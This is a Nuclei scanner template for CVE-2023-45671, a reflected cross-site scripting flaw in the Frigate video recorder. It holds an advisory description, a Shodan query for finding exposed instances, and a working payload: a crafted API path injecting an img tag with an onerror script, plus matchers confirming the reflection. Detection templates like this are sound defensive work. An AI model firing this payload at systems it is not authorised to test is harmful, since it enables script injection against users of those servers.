id: CVE-2023-45671

info:
  name: Frigate < 0.13.0 Beta 3 - Cross-Site Scripting
  author: ritikchaddha
  severity: medium
  description: |
    Frigate is an open source network video recorder. Before version 0.13.0 Beta 3, there is a reflected cross-site scripting vulnerability in any API endpoints reliant on the `/<camera_name>` base path as values provided for the path are not sanitized. Exploiting this vulnerability requires the attacker to both know very specific information about a user's Frigate server and requires an authenticated user to be tricked into clicking a specially crafted link to their Frigate instance. This vulnerability could exploited by an attacker under the following circumstances: Frigate publicly exposed to the internet (even with authentication); attacker knows the address of a user's Frigate instance; attacker crafts a specialized page which links to the user's Frigate instance; attacker finds a way to get an authenticated user to visit their specialized page and click the button/link. As the reflected values included in the URL are not sanitized or escaped, this permits execution arbitrary Javascript payloads. Version 0.13.0 Beta 3 contains a patch for this issue.
  remediation: It has been fixed in version 0.13.0 Beta 3
  reference:
    - https://github.com/blakeblackshear/frigate/security/advisories/GHSA-jjxc-m35j-p56f
    - https://nvd.nist.gov/vuln/detail/CVE-2023-45671
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 4.7
    cve-id: CVE-2023-45671
    cpe: cpe:2.3:a:frigate:frigate:0.13.0:beta1:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: frigate
    product: frigate
    shodan-query: title:"Frigate"
  tags: cve,cve2023,frigate,xss

http:
  - method: GET
    path:
      - "{{BaseURL}}/api/%3Cimg%20src=%22%22%20onerror=alert(document.domain)%3E"

    matchers:
      - type: dsl
        dsl:
          - 'contains(body, "Camera named <img src=\"\" onerror=alert(document.domain)>")'
          - 'contains(header, "text/html")'
          - 'status_code == 404'
        condition: and
# digest: 490a00463044022072f73c6b300dc9b4e94b56e4753b236e144171f0420af4af0c13097305edae9e02206f5f7b3429e24d9476d31c541f16ad723124a4d8759358b86c67b9e96043b3e3:922c64590222798bb761d5b6d8e72950